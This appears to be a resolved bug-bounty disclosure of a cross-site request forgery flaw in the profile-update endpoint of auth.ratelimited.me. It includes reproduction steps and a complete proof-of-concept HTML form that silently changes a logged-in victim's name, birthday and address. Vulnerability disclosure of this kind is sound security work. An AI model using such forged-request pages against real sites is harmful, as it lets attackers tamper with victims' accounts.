Cross Site Request Forgery in auth in https://auth.ratelimited.me/
Medium
R
RATELIMITED
Submitted None
Actions:
Reported by
miguel_santareno
Vulnerability Details
Technical details and impact analysis
Hi there i found a vulnerable post that an attacker can execute csrf into the victim.
Steps to reproduce:
1º login into your account and with burp on intercept the request off update profile.
csrf1.jpg
2º Send the post request to the generator csrf poc and alter the details.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://auth.ratelimited.me/profile/details/update" method="POST">
<input type="hidden" name="_method" value="PUT" />
<input type="hidden" name="_token" value="gTAHVqBk8TI4QlPBHku3gec3Aly0oD2vITwuEvot" />
<input type="hidden" name="first_name" value="teste csrf" />
<input type="hidden" name="last_name" value="teste csrf" />
<input type="hidden" name="birthday" value="2008-12-28" />
<input type="hidden" name="phone" value="" />
<input type="hidden" name="address" value="teste csrf" />
<input type="hidden" name="country_id" value="0" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
3º save the html and execute into the browser the html and you will see the details off the victim changing.
teste.html
## Impact
attacker can manipulate victim information.
CSRF token should be implemented and in case off implementation it should be random
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
Cross-Site Request Forgery (CSRF)